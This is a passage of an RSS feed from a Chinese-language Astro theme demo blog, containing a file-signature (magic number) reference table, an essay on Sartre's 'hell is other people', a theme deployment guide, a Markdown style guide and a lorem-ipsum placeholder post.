| **TAR**    |  `.tar`  | 无统一文件头                                | -          | TAR本身没有魔法数字，通常通过内部结构识别。                                                                                   |     |

#### 3. 可执行文件格式 (Executables）

| 文件格式             | 常见扩展名                    | 文件头 (16进制)                                                     | 备注                                                                                                 |     |
| ---------------- | ------------------------ | :------------------------------------------------------------- | :------------------------------------------------------------------------------------------------- | --- |
|  **Windows PE**  |  `.exe`, `.dll`, `.sys`  |  **`4D 5A`**                                                   |  `4D 5A` 是字母 &quot;MZ&quot; 的ASCII码（源于MS-DOS开发者Mark Zbikowski）。现代PE文件在 `MZ` 头部之后还有一个 `PE` 头部（`50 45 00 00`）。 |     |
|  **ELF**         | (无扩展名)                   |  **`7F 45 4C 46`**                                             |  `7F` 后跟 `45 4C 46`，即 &quot;ELF&quot; 的ASCII码。是Linux/Unix下的标准可执行格式。                                          |     |
|  **Mach-O**      | (无扩展名)                   |  `FE ED FA CE` (32位) `FE ED FA CF` (64位) `CA FE BA BE` (通用二进制) | macOS和iOS下的可执行格式。                                                                                  |     |

#### 4. 文档与文本格式 (Documents &amp; Text)

| 文件格式                   | 常见扩展名                            | 文件头 (16进制)                  | 备注                                      |
| ---------------------- | -------------------------------- | :-------------------------- | :-------------------------------------- |
|  **PDF**               |  `.pdf`                          |  **`25 50 44 46`**          |  `25 50 44 46` 是 &quot;%PDF&quot; 的ASCII码。        |
|  **Microsoft Office**  |  `.doc`, `.xls`, `.ppt` (旧版本)    |  `D0 CF 11 E0 A1 B1 1A E1`  | 旧版OLE复合文档格式，所有旧版Office文档共享此头。           |
|  **Microsoft Office**  |  `.docx`, `.xlsx`, `.pptx` (新版本) |  **`50 4B 03 04`**          | 如前所述，它们就是ZIP文件，所以文件头与ZIP相同。             |
|  **UTF-8 BOM**         |  `.txt` 等                        |  `EF BB BF`                 |  **字节顺序标记（BOM）**，不是必须的，但有时会出现在文件开头标识编码。 |

#### 5. 音视频格式 (Audio &amp; Video)

| 文件格式 | 常见扩展名 | 文件头 (16进制) | 备注 |  
| --- | --- | :--- | :--- |  
| **MP3** | `.mp3` | `FF FB` 或 `FF F3` 或 `49 44 33` | MP3文件可能有ID3标签（`49 44 33` 即 &quot;ID3&quot;），或者直接以帧同步信号开始（`FF F?`）。 |  
| **WAV** | `.wav` | **`52 49 46 46 ?? ?? ?? ?? 57 41 56 45`** | `52 49 46 46` 是 &quot;RIFF&quot;，`57 41 56 45` 是 &quot;WAVE&quot;。 |  
| **AVI** | `.avi` | **`52 49 46 46 ?? ?? ?? ?? 41 56 49 20`** | `52 49 46 46` 是 &quot;RIFF&quot;，`41 56 49 20` 是 &quot;AVI &quot;。 |  
| **MP4** | `.mp4` | `00 00 00 18 66 74 79 70 69 73 6F 6D` 或 `00 00 00 20 66 74 79 70 69 73 6F 6D`| 开头是长度字段，但关键看 `66 74 79 70`，即 &quot;ftyp&quot;。 |  
| **FLV** | `.flv` | **`46 4C 56 01`** | `46 4C 56` 是 &quot;FLV&quot; 的ASCII码。 |

---

### 三、如何查看和实践？

1. **使用十六进制编辑器（Hex Editor）**：
    
    - **推荐工具**：HxD (Windows), 010 Editor (跨平台, 专业), Bless Hex Editor (Linux), WinHex (Windows, 专业)。
        
    - **方法**：用这些工具打开任何文件，你就能直接看到其最原始的十六进制字节。对照上表进行验证。
        
2. **使用命令行工具（Linux/MacOS）**：
    
    - `file` 命令：`file example.jpg` 这个命令的原理就是读取并分析文件头信息。
        
    - `xxd` 或 `hexdump` 命令：`xxd example.jpg | head -n 5` 可以以十六进制形式显示文件的前几行。
        
3. **在线工具**：
    
    - 搜索 &quot;online hex editor&quot; 或 &quot;file signature lookup&quot;，有很多网站可以上传文件或直接输入 hex 值进行识别。</content:encoded></item><item><title>人物-萨特：活他人的目光里，就是活在地狱</title><link>https://goosequill.erina.top/zh-cn/blog/text/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/text/</guid><description>Test My page</description><pubDate>Wed, 16 Apr 2025 13:55:00 GMT</pubDate><content:encoded>##  人物-萨特：活他人的目光里，就是活在地狱
&lt;progress value=&quot;90&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
&lt;font color=&quot;#646a73&quot;&gt;全文共2466个字，阅读大约需要5分钟&lt;/font&gt;
## 思想穿梭机
在但丁的《神曲》中，地狱是一个巨大无比的深渊，从地面直挺挺地插入地心，形状像一个上宽下窄的大漏斗。罪人的灵魂。依照生前罪孽的轻重，分别被放在“大漏斗”的不同地方接受惩罚：或是陷于泥坑忍受风吹雨打，或是于熊熊烈火中被烧得呼天抢地··这种种的可怖之景无不在暗示着，&lt;font color=&quot;#c3d69b&quot;&gt;人间难得可贵，劝汝且行且珍惜。&lt;/font&gt;

然而，人间真的如人所想，美好至极吗？

有一位思想家，没买这个账。于他而言，有一样东西叫&lt;font color=&quot;#d99694&quot;&gt;“人间炼狱”&lt;/font&gt;，它也许并非一个切实的场景，却像迷雾一般，笼罩人的心头，入侵你的精神世界。今天的思想穿梭机，便要飞入这位思想家的思想宇宙，探一探这“人间炼狱”的究竟。他，就是**文学性与思想性兼备**的大哲一&lt;font color=&quot;#00b050&quot;&gt;萨特&lt;/font&gt;。

## 今日主角：萨特
&lt;font color=&quot;#00b050&quot;&gt;让-保罗·萨特    （Jean-PaulSartre）&lt;/font&gt;，
1905年6月21日生于巴黎，20世纪法国最重要的哲学家之一，是&lt;font color=&quot;#92cddc&quot;&gt;“无神论存在主义”&lt;/font&gt;的主要代表人物。以哲学家立身的他。同时还是一位天赋异票的文学家，创作了大量的文学与戏剧作品，试图通过巧妙的文学表达去阐明自己的哲学观点。

萨特的童年，像今天的许多孩子一样，浸泡在隔代的爱意中度过。他常年与外祖父母待在一起。作为语言学教授的外祖父在家中拥有大量藏书，而这个充满知识氛围的家，也成了幼年萨特汲取知识的乐园。

1929年，24岁的萨特出色地获得了全国大中学教师资格考试的第一名，更结识了获得了第二名的&lt;font color=&quot;#00b050&quot;&gt;波伏娃&lt;/font&gt;，两人让人惊，叹的爱情故事，饱受着后世的注自和嚼舌根（吃瓜问度娘）。

作为一位思想家，萨特的文学水平绝不亚于其他文学泰斗。他曾经拒绝了1964年诺贝尔文学奖的授予，理由只是简单的：&lt;font color=&quot;#92d050&quot;&gt;谢绝一切来自官方的荣誉。&lt;/font&gt;

萨特最为人知的一个思想。就是“他人即地狱”。或许你们每个人，也正在经历着如此句话一般的阴霾。  🚪[[句-无需赤热的烤架，地狱就是他人]]

### 他在想啥：他人即地狱
关键词预热：
&gt;萨特《禁闭》
他人即地狱
自我与他人的关系
地狱中没有刑具却有“他人”

#### 背景
1945年，萨特创作了一部戏剧，名叫&lt;font color=&quot;#00b050&quot;&gt;《禁闭》&lt;/font&gt;，这部剧的深刻含义及其深远影响，已经远远超出了戏剧本身的范畴，引发了人们精神上的哲思。它主要讲述的主题，是自身与他人的关系问题

剧中的主角，是三个死后的罪人，他们被投入了一个奇怪的，没有任何刑具也没有镜子的地狱。三人只能通过他人的目光来确立自身的存在，同时彼此设防戒备、相互隐瞒，意图把那些劣迹斑斑的行径掐死在嘴边，希望能在他人的眼中塑造一个好形象。此时，地狱中呈现了一派奇特的场景，&lt;mark style=&quot;background: #fb8b05;&quot;&gt;他们三个封闭自已，但又相互“拷问”，各自都成了他人的审视者，同时又每时每刻都受束于“他人的目光”。&lt;/mark&gt;

#### 萨特名剧《禁闭》
这是一场煎熬一场不堪其苦的煎熬，三个人谁也不得安宁，谁也无法退场，没有一个人能够坦然自在地、自由无拘地做自已。最终，主角之一&lt;font color=&quot;#00b050&quot;&gt;加尔森&lt;/font&gt;终于明白了这个地狱并无刑具的原因，他痛苦地说：
&gt; [!info] 
&gt; 我万万没有想到。地狱单该有硫磺，有熊熊的火堆，有用来熔人的铁条。这真是天大的&lt;span style=&quot;background:#d4b106&quot;&gt;笑话！&lt;/span&gt;
用不着&lt;font color=&quot;#6425d0&quot;&gt;硫磺&lt;/font&gt;、&lt;font color=&quot;#6425d0&quot;&gt;火堆&lt;/font&gt;、&lt;font color=&quot;#6425d0&quot;&gt;铁条&lt;/font&gt;，地狱，就是&lt;mark style=&quot;background: #f1441d;&quot;&gt;他人&lt;/mark&gt;！
他人的眼睛是镜子
也可能是&lt;mark style=&quot;background: #158bb8;&quot;&gt;来自地狱的魔镜&lt;/mark&gt;

萨特通过戏剧主角加尔森之口，说出了他对于自我与他人的关系的想法：世界上有相当多的人生活在“地狱”里，&lt;font color=&quot;#00b0f0&quot;&gt;因为他们太依赖别人对自已的判断了。&lt;/font&gt;这其中有两层意思：

第一层，&lt;font color=&quot;#e36c09&quot;&gt;我们过于在意他人的目光。&lt;/font&gt;因而当自我与他人的关系难以调和时，找不到自身立足的根基；

第二层，当我们&lt;font color=&quot;#e36c09&quot;&gt;无法正确对待他人对自已不好的判断&lt;/font&gt;时，那么他人的“恶毒”评断，就是我们的&lt;mark style=&quot;background: #f1441d;&quot;&gt;地狱&lt;/mark&gt;。

人活在世上，不是一个孤独的个体，他势必要与周围的人进行交互。而我们通常也是在与他人的交往当中，去明了自已的行径是否恰切和得当、自己的做法是否有助于与他人建立一个良好的关系。&lt;font color=&quot;#92d050&quot;&gt;在“吾日三省吾身”的夜晚，谁不是在一天的记忆中寻找爸妈对自己的某个评价、老师对自己的某个眼神、同学对自己的某句回应呢？&lt;/font&gt;

而当，他人的一句言语刺中了你，或是在你反复思量的过程中，你总觉得他们在暗讽你，他们可能不喜欢你了，他们与你的关系似乎变糟糕了。在那一瞬间，你是否感觉自已临到了地狱的入口，无助文惯恨，焦虑又不安？你是否又感觉，自己虽在人间，却因他人的存在而如身处炼狱无差？

#### 一念地狱也可一念天堂

如果他人是地狱，那我们是否无法逃脱这个地狱？或许我们应该感谢萨特，他没有把话说死。在他看来，&lt;font color=&quot;#fac08f&quot;&gt;他人固然是一种可怕的障碍，但并不是我们无法克服的障碍。&lt;/font&gt;

##### 如何解决“他人是地狱”的问题呢？

首先，我们在意识中把“自我”与“他人”区分得&lt;font color=&quot;#ff0000&quot;&gt;过于绝对&lt;/font&gt;。以至于“自我中心”的意识强化了。&lt;mark style=&quot;background: #20894d;&quot;&gt;太过以自我为中心，我们势必缺少对他人的正确对待，此时自身就是恶化与他人关系的罪魁祸首，自己也得承担“地狱之苦”的责任。&lt;/mark&gt;

其次，我们因为无法正确对待他人给自己的判断和评价，而陷入痛苦之中。但实际上，他人的判断固然重要但也仅供参考，*把它们视作一种最高的裁决是万万不可的*。如果我们为了得到别人的一句好适或赞美、为了减少别人对自己已的恶评或攻击，而陷于不自在的生活中，自我必定也会在某个午夜梦回，坠入饱受折磨的心灵角落。

最后，&lt;font color=&quot;#ffc000&quot;&gt;如果我们不能正确对待自己，自身也会成为自己的地狱。&lt;/font&gt;这里阿君就作一个留白，让大家自己思考一下，为何自身也会成为自己的地狱？

总之，归结于一点，他人是否会成为自己的地狱，其实很大程度还是取决于我们自已的念想。如果我们付出真情实意，&lt;font color=&quot;#0070c0&quot;&gt;如果我们不那么在意他人的自光，如果我们能做好自己。这一转念，身之所属已不再是地狱，而是天堂。&lt;/font&gt;

用法解析：

适用主题：自我与他人的关系、正确对待，他人评价、做自己等。

示例：
&gt;人总是通过别人的目光来认识自己，以确立自身的存在。然而，我们越是如此，就越会感到，他人目光的注视是永恒不可逃避的。此时我们将会在别人的自光中遭受一种精神上的煎熬：自己是不是哪里做错了？是不是哪里还可以做得更好？自己应该怎么做才对？
&lt;font color=&quot;#00b050&quot;&gt;萨特把这种心理场景，归结为一句话他人即地狱。&lt;/font&gt;这个世界上有许多人，包括你和我，也多多少少正在经历着这种痛苦的场景。正是因为人过于在意他人的目光，过于希望在他人的眼中确立一个完美的自我，才会迫使我们不断地按照他人的想法来判断自己、反复“修正”自己。&lt;font color=&quot;#e36c09&quot;&gt;殊不知，在一次又一次的“修正”中我们已变得面目全非，并在他人的目光注视下，不断地循环着自己的地狱之旅。&lt;/font&gt;</content:encoded></item><item><title>如何部署这个 Astro 主题</title><link>https://goosequill.erina.top/zh-cn/blog/deploying-goosequill-theme/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/deploying-goosequill-theme/</guid><description>从本地开发到正式上线，逐步介绍 Goosequill 主题的部署流程与常见注意事项。</description><pubDate>Fri, 07 Mar 2025 16:00:00 GMT</pubDate><content:encoded>## 1. 准备运行环境

这个主题基于 Astro，建议先准备好以下工具：

- Node.js 20+
- npm
- Git

克隆项目后，先安装依赖：

```bash
git clone git@github.com:ErinaYip/goosequill.git
cd goosequill
npm install
```

本地开发使用：

```bash
npm run dev
```

生产构建使用：

```bash
npm run build
```

这个项目的构建脚本不只是执行 `astro build`，还会额外运行 Pagefind 来生成搜索索引，所以正式部署前最好始终用 `npm run build` 做一次完整验证。

## 2. 先改这几个关键配置

部署前，建议优先检查下面几个文件。

### `astro.config.mjs`

这里最重要的是 `site` 和 `base`：

- `site`：你的正式站点地址，例如 `https://blog.example.com`
- `base`：如果站点部署在子路径下，比如 `https://example.com/blog/`，这里需要改成 `/blog`

如果你部署到根域名，通常保持：

```js
site: &apos;https://blog.example.com&apos;,
base: &apos;/&apos;,
```

### `src/config.ts`

这里控制站点标题、描述、RSS、搜索、目录和分页等行为。

你至少应该确认这些字段：

- `title`
- `description`
- `defaultLocale`
- `rss.enable`
- `search.enable`
- `pagination.posts_per_page`

如果你想用单语言模式：

```ts
defaultLocale: &apos;en&apos;
```

如果你想开启多语言模式：

```ts
defaultLocale: undefined
```

这个项目现在的路由行为是：

- 单语言模式：页面走无前缀路径，如 `/about`、`/blog/post`
- 多语言模式：页面走带语言前缀路径，如 `/en/about`、`/zh-cn/blog/post`

## 3. 内容文件怎么组织

博客文章放在 `src/content/blog/` 下，每篇文章一个目录。

例如：

```text
src/content/blog/my-post/
  index_en.mdx
  index_zh-cn.mdx
```

推荐做法：

- 单语言项目：至少提供当前默认语言的那份内容
- 多语言项目：为每种语言分别提供一份 `index_&lt;locale&gt;.mdx`

如果你只维护英文，最简单的方式就是写英文内容文件并保持：

```ts
defaultLocale: &apos;en&apos;
```

## 4. 本地验证上线前状态

正式部署前，建议按这个顺序检查：

```bash
npm run build
npm run preview
```

`npm run preview` 会使用构建后的产物进行本地预览，这比开发模式更接近真实线上环境。

建议重点检查：

- 首页、博客列表页、文章详情页是否能打开
- 图片路径是否正常
- RSS 是否可访问
- 搜索是否工作
- 多语言切换链接是否正确
- `sitemap-index.xml` 是否生成

## 5. 最省事的部署方式：Vercel / Netlify / Cloudflare Pages

这是一个静态站点，因此部署到常见静态平台都比较直接。

### 方案 A：Vercel

在 Vercel 中导入仓库后，通常可以直接使用：

- Build Command: `npm run build`
- Output Directory: `dist`

如果没有特殊需求，其他选项保持默认即可。

### 方案 B：Netlify

Netlify 也适合这个主题，配置通常是：

- Build command: `npm run build`
- Publish directory: `dist`

### 方案 C：Cloudflare Pages

如果你想把博客托管在 Cloudflare 上，也可以使用相同思路：

- Build command: `npm run build`
- Build output directory: `dist`

## 6. GitHub Pages 部署要注意什么

如果你部署到 GitHub Pages，一般最容易踩坑的是 `base`。

例如你的仓库地址是：

```text
https://&lt;user&gt;.github.io/goosequill/
```

那么你通常需要：

```js
base: &apos;/goosequill&apos;
```

同时 `site` 也建议改为对应的最终地址。

如果 `base` 不正确，常见现象包括：

- CSS 资源 404
- JS 资源 404
- 图片不显示
- 页面链接跳错
- 搜索资源加载失败

## 7. 自定义域名上线前的最后检查

在绑定正式域名之前，建议再确认下面几项：

- `astro.config.mjs` 里的 `site` 已替换为真实域名
- `base` 与部署路径一致
- RSS 链接可访问
- `robots.txt`、sitemap 与站点地址一致
- 社交分享卡片中的图片和标题正常

如果你启用了 RSS 和 sitemap，但 `site` 还保留示例地址，生成出来的绝对链接通常会是错误的。

## 8. 常见问题

### 构建成功，但页面样式丢失

优先检查：

- `base` 是否正确
- 静态资源路径是否写成了错误的绝对路径
- 托管平台是否真的发布了 `dist/`

### 搜索框能打开，但搜不到内容

这个主题使用 Pagefind，搜索依赖构建后的索引文件。请确认：

- 你部署的是 `npm run build` 产物
- `dist/pagefind/` 已随站点一起发布

### 多语言页面 404

优先检查：

- `src/config.ts` 中 `defaultLocale` 是否符合预期
- 文章或页面文件是否按语言后缀命名
- 当前语言对应的内容文件是否真实存在

## 9. 一套推荐上线流程

如果你想用一套稳妥又简单的流程，可以直接照着做：

1. Fork 或克隆项目
2. 修改 `astro.config.mjs` 中的 `site` 和 `base`
3. 修改 `src/config.ts` 中的站点名称、描述和语言模式
4. 添加你自己的文章内容
5. 本地执行 `npm run build`
6. 本地执行 `npm run preview`
7. 推送到 Git 仓库
8. 连接到 Vercel、Netlify 或 Cloudflare Pages
9. 上线后再检查 RSS、sitemap 和搜索

## 总结

这个主题的部署本质上并不复杂，核心就三件事：

- 配好 `site` 和 `base`
- 确认 `src/config.ts` 的语言模式与内容文件结构一致
- 始终用 `npm run build` 验证最终产物

只要这三点处理正确，部署到大多数静态托管平台都会比较顺利。

如果你后续还想继续完善这篇文章，可以再补一节专门介绍：

- 如何部署到 GitHub Pages
- 如何开启自定义域名
- 如何接入评论或统计服务</content:encoded></item><item><title>Markdown 指南</title><link>https://goosequill.erina.top/zh-cn/blog/markdown-style-guide/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/markdown-style-guide/</guid><description>Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.</description><pubDate>Tue, 18 Jun 2024 16:00:00 GMT</pubDate><content:encoded>Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.

## Headings

The following HTML `&lt;h1&gt;`—`&lt;h6&gt;` elements represent six levels of section headings. `&lt;h1&gt;` is the highest section level while `&lt;h6&gt;` is the lowest.

# H1

## H2

### H3

#### H4

##### H5

###### H6

## Paragraph

Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.

Itatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.

## Images

### Syntax

```markdown
![Alt text](./full/or/relative/path/of/image)
```

### Output

![blog placeholder](blog-placeholder-about.jpg)

## Blockquotes

The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a `footer` or `cite` element, and optionally with in-line changes such as annotations and abbreviations.

### Blockquote without attribution

#### Syntax

```markdown
&gt; Tiam, ad mint andaepu dandae nostion secatur sequo quae.  
&gt; **Note** that you can use _Markdown syntax_ within a blockquote.
```

#### Output

&gt; Tiam, ad mint andaepu dandae nostion secatur sequo quae.  
&gt; **Note** that you can use _Markdown syntax_ within a blockquote.

### Blockquote with attribution

#### Syntax

```markdown
&gt; Don&apos;t communicate by sharing memory, share memory by communicating.
&gt; — &lt;cite&gt;Rob Pike[^1]&lt;/cite&gt;
```

#### Output

&gt; Don&apos;t communicate by sharing memory, share memory by communicating.
&gt; — &lt;cite&gt;Rob Pike[^1]&lt;/cite&gt;

[^1]: The above quote is excerpted from Rob Pike&apos;s [talk](https://www.youtube.com/watch?v=PAAkCSZUG1c) during Gopherfest, November 18, 2015.

## Tables

### Syntax

```markdown
| Italics   | Bold     | Code   |
| --------- | -------- | ------ |
| _italics_ | **bold** | `code` |
```

### Output

| Italics   | Bold     | Code   |
| --------- | -------- | ------ |
| _italics_ | **bold** | `code` |

## Code Blocks

### Syntax

we can use 3 backticks ``` in new line and write snippet and close with 3 backticks on new line and to highlight language specific syntax, write one word of language name after first 3 backticks, for eg. html, javascript, css, markdown, typescript, txt, bash

````markdown
```html
&lt;!doctype html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot; /&gt;
    &lt;title&gt;Example HTML5 Document&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;p&gt;Test&lt;/p&gt;
  &lt;/body&gt;
&lt;/html&gt;
```
````

### Output

```html
&lt;!doctype html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot; /&gt;
    &lt;title&gt;Example HTML5 Document&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;p&gt;Test&lt;/p&gt;
  &lt;/body&gt;
&lt;/html&gt;
```

## List Types

### Ordered List

#### Syntax

```markdown
1. First item
2. Second item
3. Third item
```

#### Output

1. First item
2. Second item
3. Third item

### Unordered List

#### Syntax

```markdown
- List item
- Another item
- And another item
```

#### Output

- List item
- Another item
- And another item

### Nested list

#### Syntax

```markdown
- Fruit
  - Apple
  - Orange
  - Banana
- Dairy
  - Milk
  - Cheese
```

#### Output

- Fruit
  - Apple
  - Orange
  - Banana
- Dairy
  - Milk
  - Cheese

## Other Elements — abbr, sub, sup, kbd, mark

### Syntax

```markdown
&lt;abbr title=&quot;Graphics Interchange Format&quot;&gt;GIF&lt;/abbr&gt; is a bitmap image format.

H&lt;sub&gt;2&lt;/sub&gt;O

X&lt;sup&gt;n&lt;/sup&gt; + Y&lt;sup&gt;n&lt;/sup&gt; = Z&lt;sup&gt;n&lt;/sup&gt;

Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;Delete&lt;/kbd&gt; to end the session.

Most &lt;mark&gt;salamanders&lt;/mark&gt; are nocturnal, and hunt for insects, worms, and other small creatures.
```

### Output

&lt;abbr title=&quot;Graphics Interchange Format&quot;&gt;GIF&lt;/abbr&gt; is a bitmap image format.

H&lt;sub&gt;2&lt;/sub&gt;O

X&lt;sup&gt;n&lt;/sup&gt; + Y&lt;sup&gt;n&lt;/sup&gt; = Z&lt;sup&gt;n&lt;/sup&gt;

Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;Delete&lt;/kbd&gt; to end the session.

Most &lt;mark&gt;salamanders&lt;/mark&gt; are nocturnal, and hunt for insects, worms, and other small creatures.</content:encoded></item><item><title>博客三</title><link>https://goosequill.erina.top/zh-cn/blog/third-post/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/third-post/</guid><description>Lorem ipsum dolor sit amet</description><pubDate>Thu, 21 Jul 2022 16:00:00 GMT</pubDate><content:encoded>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Vitae ultricies leo integer malesuada nunc vel risus commodo viverra. Adipiscing enim eu turpis egestas pretium. Euismod elementum nisi quis eleifend quam adipiscing. In hac habitasse platea dictumst vestibulum. Sagittis purus sit amet volutpat. Netus et malesuada fames ac turpis egestas. Eget magna fermentum iaculis eu non diam phasellus vestibulum lorem. Varius sit amet mattis vulputate enim. Habitasse platea dictumst quisque sagittis. Integer quis auctor elit sed vulputate mi. Dictumst quisque sagittis purus sit amet.

Morbi tristique senectus et netus. Id semper risus in hendrerit gravida rutrum quisque non tellus. Habitasse platea dictumst quisque sagittis purus sit amet. Tellus molestie nunc non blandit massa. Cursus vitae congue mauris rhoncus. Accumsan tortor posuere ac ut. Fringilla urna porttitor rhoncus dolor. Elit ullamcorper dignissim cras tincidunt lobortis. In cursus turpis massa tincidunt dui ut ornare lectus. Integer feugiat scelerisque varius morbi enim nunc. Bibendum neque egestas congue quisque egestas diam. Cras ornare arcu dui vivamus arcu felis bibendum. Dignissim suspendisse in est ante in nibh mauris. Sed tempus urna et pharetra pharetra massa massa ultricies mi.

Mollis nunc sed id semper risus in. Convallis a cras semper auctor neque. Diam sit amet nisl suscipit. Lacus viverra vitae congue eu consequat ac felis donec. Egestas integer eget aliquet nibh praesent tristique magna sit amet. Eget magna fermentum iaculis eu non diam. In vitae turpis massa sed elementum. Tristique et egestas quis ipsum suspendisse ultrices. Eget lorem dolor sed viverra ipsum. Vel turpis nunc eget lorem dolor sed viverra. Posuere ac ut consequat semper viverra nam. Laoreet suspendisse interdum consectetur libero id faucibus. Diam phasellus vestibulum lorem sed risus ultricies tristique. Rhoncus dolor purus non enim praesent elementum facilisis. Ultrices tincidunt arcu non sodales neque. Tempus egestas sed sed risus pretium quam vulputate. Viverra suspendisse potenti nullam ac tortor vitae purus faucibus ornare. Fringilla urna porttitor rhoncus dolor purus non. Amet dictum sit amet justo donec enim.

Mattis ullamcorper velit sed ullamcorper morbi tincidunt. Tortor posuere ac ut consequat semper viverra. Tellus mauris a diam maecenas sed enim ut sem viverra. Venenatis urna cursus eget nunc scelerisque viverra mauris in. Arcu ac tortor dignissim convallis aenean et tortor at. Curabitur gravida arcu ac tortor dignissim convallis aenean et tortor. Egestas tellus rutrum tellus pellentesque eu. Fusce ut placerat orci nulla pellentesque dignissim enim sit amet. Ut enim blandit volutpat maecenas volutpat blandit aliquam etiam. Id donec ultrices tincidunt arcu. Id cursus metus aliquam eleifend mi.

Tempus quam pellentesque nec nam aliquam sem. Risus at ultrices mi tempus imperdiet. Id porta nibh venenatis cras sed felis eget velit. Ipsum a arcu cursus vitae. Facilisis magna etiam tempor orci eu lobortis elementum. Tincidunt dui ut ornare lectus sit. Quisque non tellus orci ac. Blandit libero volutpat sed cras. Nec tincidunt praesent semper feugiat nibh sed pulvinar proin gravida. Egestas integer eget aliquet nibh praesent tristique magna.</content:encoded></item></channel></rss>